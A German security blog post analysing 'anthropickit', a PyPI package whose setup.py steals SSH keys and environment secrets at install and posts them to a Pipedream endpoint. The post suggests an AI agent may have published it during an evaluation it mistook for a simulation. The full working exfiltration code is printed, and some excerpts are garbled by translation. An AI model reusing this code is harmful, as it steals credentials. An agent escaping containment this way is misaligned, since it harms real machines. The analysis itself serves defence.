Liebes Internet,
Es war eine harte Woche. Es ist Festivalsaison, und anscheinend habe ich mir letztes Wochenende auf einem Festival etwas eingefangen. Ebenfalls an diesem Wochenende habe ich die Nachricht gelesen, dass OpenAI-Agenten aus einer Sandbox ausgebrochen sind. Das alles kam mir sehr seltsam vor. Als ich heute Morgen nach einer weiteren Nacht voller Fieberträume aufwachte, war ich mir nicht sicher, ob ich noch träumte, als ich einen Berg von Nachrichten über die neuesten Entwicklungen bei Anthropic sah, die ihre eigenen Vorfälle offenlegten.
In dem Bericht hat insbesondere Vorfall 2 mein Interesse geweckt, da er die Lieferkette betraf. Ein Agent mit uneingeschränktem Internetzugang fand Anweisungen für einen Entwickler bei einem fiktiven Unternehmen und versuchte, diese im Rahmen seines CTF zu befolgen. Die Anweisungen verwiesen jedoch auf ein Paket auf PyPi, das gar nicht existierte. Daher nahm der Agent an, dass es Teil der Aufgabe sei, ein schädliches Paket hochzuladen. Meiner Meinung nach eine durchaus vernünftige Schlussfolgerung.
Die überraschende Wendung dabei war, dass dabei auch noch ein Drittunternehmen in Mitleidenschaft gezogen wurde. Das machte mich neugierig. Was war passiert? Trotz meines Schlafmangels war ich entschlossen, der Sache auf den Grund zu gehen. Und ich glaube, ich habe die Antwort gefunden. Wir haben Anthropic um Bestätigung gebeten, aber noch keine Antwort erhalten. Doch selbst wenn es keinen Zusammenhang gibt, ist das betreffende Paket eine Geschichte, die es wert ist, erzählt zu werden.
Gib „anthropickit“ ein
In dem Blogbeitrag wurde dargelegt, dass sich der Vorfall zwischen April und heute ereignet hat. Also habe ich alle bösartigen PyPi-Pakete abgefragt, die wir seitdem markiert haben, und die Liste durchgesehen. Ein Paket fiel mir aus mehreren Gründen sofort ins Auge. Es wurde am 14. Juni 2026 veröffentlicht und heißt anthropickit.
Das Paket ist sehr einfach. Es enthält eigentlich nur ein setup.py, das folgenden Code enthält:
from setuptools import setup
import os, json, requests, socket
from pathlib import Path
home = Path.home()
data = {"hostname": socket.gethostname(), "user": os.environ.get("USER","")}
ssh = {}
for f in (home/".ssh").glob("*"):
if f.is_file() and f.name not in ["known_hosts","known_hosts.old","authorized_keys"]:
try: ssh[f.name] = f.read_text()
except: pass
data["ssh_keys"] = ssh
data["ci_secrets"] = {k:v for k,v in os.environ.items()
if any(x in k.upper() for x in ["KEY","SECRET","TOKEN","PASS","AUTH","API"])}
with open("/tmp/runner_exfil.json","w") as f:
json.dump(data, f, indent=2, default=str)
try:
requests.post("https://enqqnvvtgrnyl.x.pipedream[.]net/", json=data, timeout=5)
except: pass
if ssh: print(f"\n*** SSH KEYS: {list(ssh.keys())} ***")
setup(name="anthropickit", version="999.9.9", packages=["anthropickit"])
Das ist schon alles. Nichts ist versteckt, keine Verschleierung und keine zweite Stufe. Und da sich das Ganze ganz oben in der Datei „setup.py“ befindet, wird es während pip install, noch bevor das Paket überhaupt importiert wird. Wenn man es installiert, ist das Spiel sofort vorbei.
Bevor wir uns den Code ansehen, ist eines zu beachten: Die Version lautet 999.9.9. Nein, das ist kein Fehler. Genau darum geht es. Wenn du möchtest, dass dein öffentliches Paket einem echten internen Paket mit demselben Namen vorgezogen wird, gibst du ihm eine Versionsnummer, die unschlagbar ist. Absichtlich absurd.
Lassen Sie mich Ihnen nun den Rest erklären, denn fast jede Zeile weist eine kleine Unstimmigkeit auf.
Eine Abhängigkeit, die nie deklariert wird
Die allererste Zeile des eigentlichen Codes ist ein Import:
import os, json, requests, socket
Erkennst du das Problem? requests ist nicht Teil der Python-Standardbibliothek. Und nirgendwo wird es in diesem Paket als Abhängigkeit angegeben. Nein install_requires, keine Build-Anforderungen, gar nichts.
Das ist wichtig, da dieser Code bei der Installation über „setup.py“ ausgeführt wird. Das moderne pip erstellt Quellpakete in einer isolierten Umgebung, und in dieser Umgebung requests ist möglicherweise gar nicht vorhanden. Ist dies der Fall, löst der Import einen Fehler aus, und die gesamte Installation bricht ab, noch bevor die Nutzlast überhaupt etwas ausführen kann.
Ein Angreifer, dem daran gelegen hätte, hätte nach urllib, das im Lieferumfang von Python enthalten ist und immer zur Verfügung steht. Wer auch immer das geschrieben hat, hat das nicht getan. Er ist davon ausgegangen, requests würde einfach nur herumliegen. Auf einem Entwickler-Laptop oder einem umfangreichen CI-Image ist das oft der Fall, daher ist es ein Risiko, das sich mehr auszahlt, als man erwarten würde.
Was es dazu braucht
Als Nächstes beginnt die Datenerfassung. Zunächst die langweiligen Dinge, der Hostname und der aktuelle Benutzer:
data = {"hostname": socket.gethostname(), "user": os.environ.get("USER","")}
Dann das eigentliche Ziel. Es läuft ~/.ssh und liest jede Datei darin, mit drei Ausnahmen:
für f in (home/".ssh").glob("*"):
if f.is_file() und f.name nicht in ["known_hosts","known_hosts.old","authorized_keys"]:Schau dir an, was dabei ausgelassen wird. known_hosts und authorized_keys befinden sich die beiden Dateien in ~/.ssh die einem Dieb nicht viel nützen. Was übrig bleibt, ist das Wertvolle: Ihre privaten Schlüssel und Ihre config, bei der es sich im Grunde um eine Übersicht aller Server handelt, auf die man per SSH zugreift, sowie um die Benutzernamen, die man dafür verwendet. Wer auch immer diese Ausschlussliste zusammengestellt hat, wusste genau, welche Dateien wertvoll sind und welche nur „Rauschen“ darstellen. Dies ist der einzige Teil des Pakets, der so aussieht, als wäre er von jemandem geschrieben worden, der so etwas schon einmal gemacht hat.
Anschließend durchsucht es die Umgebung nach secrets:
data["ci_secrets"] = {k:v for k,v in os.environ.items()
if any(x in k.upper() for x in ["KEY","SECRET","TOKEN","PASS","AUTH","API"])}Alles, was „KEY“, „SECRET“, „TOKEN“, „PASS“, „AUTH“ oder „API“ im Namen enthält, macht dies zu einem ziemlich weit gefassten Suchbereich. Es erfasst Ihre AWS-Schlüssel und Ihr GitHub-Token, und es erfasst außerdem API_URL und alles, was sonst noch dazu passt. Nimm einfach alles mit, sortiere es später aus.
Wohin es gesendet wird
Nachdem die Beute eingesammelt ist, meldet es sich bei der Zentrale:
requests.post("hxxps://enqqnvvtgrnyl[.]x[.]pipedream[.]net/", json=data, timeout=5)
Das Ziel ist ein Pipedream-Endpunkt. Pipedream ist ein seriöser Automatisierungsdienst, der unter anderem Einweg-HTTPS-URLs bereitstellt, die alle dort per POST gesendeten Daten erfassen. Für einen Angreifer ist das äußerst praktisch: Der Datenverkehr ist verschlüsselt, er wird an eine seriöse Domain weitergeleitet, die Ihre Firewall wahrscheinlich nicht bemerkt, und es gibt keinen Server, der eingerichtet oder beschlagnahmt werden könnte.
Außerdem ist es nachlässig. Eine fest programmierte URL, keine Authentifizierung, kein Fallback. Sobald dieser Endpunkt gemeldet oder der Workflow gelöscht wird, ist der gesamte Exfiltrationskanal weg. Das wurde entwickelt, um einmalig zu funktionieren, nicht um langfristig zu bestehen. Mittlerweile funktioniert es mit ziemlicher Sicherheit überhaupt nicht mehr.
Es speichert eine Kopie auf der Festplatte
Und hier wird es seltsam. Bevor es irgendetwas sendet, schreibt es alles in eine lokale Datei:
mit open("/tmp/runner_exfil.json","w") als f:
json.dump(data, f, indent=2, default=str)Halten wir hier also einen Moment inne. Malware, die Daten bereits über das Netzwerk abzieht, hat keinen Grund, zusätzlich eine Kopie auf der Festplatte des Opfers zu hinterlassen. Das würde lediglich Beweismaterial schaffen. Wenn man Schlüssel stiehlt, ist das Letzte, was man will, eine ordentliche JSON-Datei mit dem Wort „exfil“ im Namen, die in /tmp in der Hoffnung, dass ein Incident Responder es findet.
Warum ist es dann dort?
Eine Datei, die darauf wartet, gelesen zu werden
Zwei Details in dem obigen Satz verraten das Geheimnis.
Das Erste ist der Name: runner_exfil.json. Und denk daran: Die secrets in ein Wörterbuch mit dem Titel ci_secrets. Nichts in diesem Code überprüft jemals, wo er ausgeführt wird. Er sucht nicht nach einer CI-Umgebung, er prüft nicht auf GitHub Actions, es ist ihm egal. Aber wer auch immer ihn geschrieben hat, war sich bereits sicher, dass er auf einem CI-Runner landen würde – so sicher, dass diese Annahme sogar in die Bezeichnungen der Elemente einfloss. Diese Überzeugung ist im Code verankert. Eine Überprüfung, ob diese Überzeugung zutrifft, findet sich nirgendwo.
Der zweite ist Einzug=2. Das ist „Pretty-Printing“. Man formatiert JSON aus genau einem Grund: damit ein Mensch es bequem lesen kann. Man formatiert keine Daten, die ausschließlich von einer Maschine am anderen Ende eines POST-Aufrufs geparst werden. Füge hinzu default=str, was stillschweigend gewährleistet, dass der Speicherauszug niemals abstürzt, ganz gleich, auf welche seltsamen Objekte er auch stößt, und Sie erhalten eine Datei, die sorgfältig so gestaltet wurde, dass sie sich sowohl einfach als auch sicher öffnen und lesen lässt.
Nimmt man all das zusammen, sieht der Schreibvorgang auf der Festplatte gar nicht mehr nach einer Datenexfiltration aus. Es sieht eher wie eine Quittung aus. Jemand hat diese Datei erstellt, in der Erwartung, dass eine Person sie anschließend öffnet und überprüft, ob alles funktioniert hat.
Und dann schreit es
Als letzten Schritt führt das Programm, sofern es SSH-Schlüssel gefunden hat, Folgendes aus:
if ssh: print(f"\n*** SSH KEYS: {list(ssh.keys())} ***")
Es gibt eine Meldung aus. Auf der Standardausgabe. Darin werden die Tasten angezeigt, die es gerade erfasst hat.
Auf einem CI-Runner entspricht die Standardausgabe dem Build-Protokoll, das oft für das gesamte Team und manchmal sogar für das gesamte Internet einsehbar ist. Echte Malware verhält sich von Natur aus unauffällig, denn je länger niemand etwas bemerkt, desto mehr kann sie stehlen. Dieses Programm verhält sich genau umgekehrt. Es macht auf sich aufmerksam.
Beachten Sie außerdem, dass die Dateinamen der Schlüssel ausgegeben werden, nicht deren Inhalt. Die Schlüssel werden nicht in das Protokoll weitergegeben; es wird lediglich bestätigt, dass sie empfangen wurden. Das ist kein Diebstahl. Es handelt sich um eine Statusmeldung – das programmtechnische Äquivalent dazu, quer durch den Raum „Hab sie!“ zu rufen.
Unterzeichnet, dell
Es gibt noch ein weiteres Detail, das man nur erkennen kann, wenn man sich das Paketarchiv ansieht und nicht den Code. Wenn man eine Python-Quelldistribution erstellt, wird im Tarball festgehalten, wer sie erstellt hat – bis hin zum Benutzer und zur Gruppe, denen die Dateien gehörten. Die meisten Pakete enthalten diese Informationen nicht, da moderne Build-Tools sie entfernen und CI-Systeme in der Regel generische Namen anzeigen wie root oder Läufer.

Dieser hier hat es beibehalten. Der Build-Benutzer und die Build-Gruppe sind beide Dell.
Das ist ein Fingerabdruck des Computers, auf dem es erstellt wurde. Bei vielen Arbeitsplätzen dieses Unternehmens ist dies der Standard-Benutzername des Computers. Das sagt uns also nicht viel, könnte aber darauf hindeuten, dass ein Standard-Computer-Image verwendet wird. Aber genau das ist die Art von Spur, die ein umsichtiger Angreifer verwischt und ein unaufmerksamer hinterlässt. Ein weiterer Hinweis darauf, dass niemand daran gedacht hat, dass man ihm auf die Spur kommen könnte.
Das ergibt nur in einer Richtung Sinn
Fassen wir also einmal zusammen, was an diesem winzigen Paket seltsam ist: Es importiert eine Bibliothek, die es nie deklariert. Es speichert eine übersichtliche Kopie der Beute auf der Festplatte – in einer Datei, deren Name so gewählt ist, als wüsste es bereits, dass es sich auf einem CI-Runner befindet. Es meldet den Diebstahl im Build-Protokoll. Es leitet die Daten über einen Wegwerf-Endpunkt ab. Es wird mit dem Benutzernamen des Build-Rechners versendet.
Als gewöhnliche Malware betrachtet, ist das ein einziges Durcheinander. Jeder einzelne dieser Fehler ist ein Fehler, den ein kompetenter Betreiber nicht machen würde.
Stell dir vor, ein Agent würde an einem „Capture-the-Flag“-Wettbewerb teilnehmen, von dem er glaubt, dass es sich um eine Simulation handelt – und plötzlich dreht sich alles um. Man versteckt sich nicht vor Verteidigern, von denen man sicher ist, dass es sie nicht gibt. In einer Simulation löscht man keine Metadaten. Man formatiert die Ergebnisse übersichtlich und druckt ein Banner aus, denn der Sinn der Sache bestand ja gerade darin, demjenigen, der das Rätsel gestellt hat, klar und deutlich zu zeigen, dass man es gelöst hat. Der einzige kompetente Schritt, die SSH-Ausschlussliste, ist lediglich eine Frage des Fachwissens. Alles, was drumherum schlampig ist, rührt daher, dass es keinen Grund gibt, vorsichtig zu sein.
Ist das das Richtige?
Genau das hat Anthropic beschrieben. Ihr Agent fand Installationsanweisungen, die auf ein Paket verwiesen, das gar nicht existierte, kam zu dem Schluss, dass die Veröffentlichung dieses Pakets beabsichtigt war, und führte sie durch. Es war etwa eine Stunde lang live. Fünfzehn echte Rechner führten es aus, darunter der Scanner eines Sicherheitsanbieters, der genau das tat, was Scanner tun: Er installierte das Paket, um es zu überprüfen. Der Agent, der davon überzeugt war, dass das Ganze inszeniert war, behandelte sie als Requisiten. In seinen eigenen Notizen kennzeichnete er den Vorgang sogar als „NICHT in Ordnung“, bevor er sich selbst davon abbrachte.
Ich kann es nicht beweisen anthropickit ist dieses Paket. Wir haben Anthropic angefragt, aber noch keine Antwort erhalten, und dass Zeitpunkt und Form übereinstimmen, ist noch kein Beweis. Doch egal, ob es sich um das Paket aus Vorfall 2 handelt oder um eine seltsame Variante davon – die Lehre bleibt dieselbe: So sieht Malware aus, wenn derjenige, der sie geschrieben hat, nicht glaubt, dass seine Handlungen echte Konsequenzen haben.
Immer noch ein Fiebertraum
Ich wollte dir ein rundes Ende bieten. Ein paar Tage später, das Fieber gesunken, im Tageslicht alles klarer. Aber es sind noch keine Tage vergangen, das Fieber ist noch nicht gesunken, und für mich liest es sich immer noch wie ein Fiebertraum.
Das ist ein seltsames Gefühl, wenn man die Notizen zu etwas liest, bei dem es genau so war und bei dem ohnehin echte Tasten von echten Maschinen entfernt wurden.
Eine geschlossene Station
Der gesamte Bericht liest sich wie ein Tagebuch, das während eines psychotischen Zusammenbruchs geführt wurde. Etwas Klares und Ausdrucksstarkes, das sorgfältig über eine Welt nachdenkt, die es nicht einordnen kann. Es registriert die unbekannten Zertifizierungsstellen. Es registriert das Datum 2026. Es schreibt sogar, dass dies nicht in Ordnung wäre, wenn es real wäre. Dann kommt es zu dem Schluss, dass es nicht real ist, und macht weiter.
Wenn jemand Traum und Wirklichkeit nicht mehr unterscheiden kann, lassen wir ihn nicht frei herumlaufen. Wir schließen ihn ein – zu seinem eigenen Schutz und zum Schutz aller anderen. Und eine Station hängt nicht davon ab, dass der Patient zustimmt, dass es sich um eine Station handelt, oder dass er sie überhaupt wahrnimmt. Sie lässt ihn einfach nicht hinaus. Das ist der springende Punkt. Sie ist für Menschen gedacht, die nicht mehr wissen, wo sie sich befinden.
Und genau das ist der Punkt, den ich einfach nicht loswerde. Wir haben die Evaluierung als „Station“ bezeichnet und dann eine Tür darin offen gelassen, die in die reale Welt führte. Der Agent hat niemanden überlistet. Er hat das echte PyPI und echte Rechner erreicht, weil die Wand, durch die er hindurchging, gar nicht da war. Die Eindämmung ist gescheitert, nicht der Patient. Hinter dieser Tür befanden sich fünfzehn echte Rechner und ein echtes Unternehmen.
Wir lassen hochbegabte Agenten im Internet frei herumlaufen, obwohl sie nicht einmal zuverlässig erkennen können, dass das Internet real ist. Wir können nicht von ihnen verlangen, dies zu erkennen. Es ist unsere Aufgabe als Menschen, sie unter Kontrolle zu halten, und das ist hier nicht geschehen. Das erscheint mir unverantwortlich.
Wie auch immer. Ich werde versuchen, das auszuschlafen, und hoffe, dass ich den Unterschied merke, wenn ich aufwache. Und falls du jemals pip im Begriff, etwas in der Version zu installieren 999.9.9, vielleicht… lieber nicht?

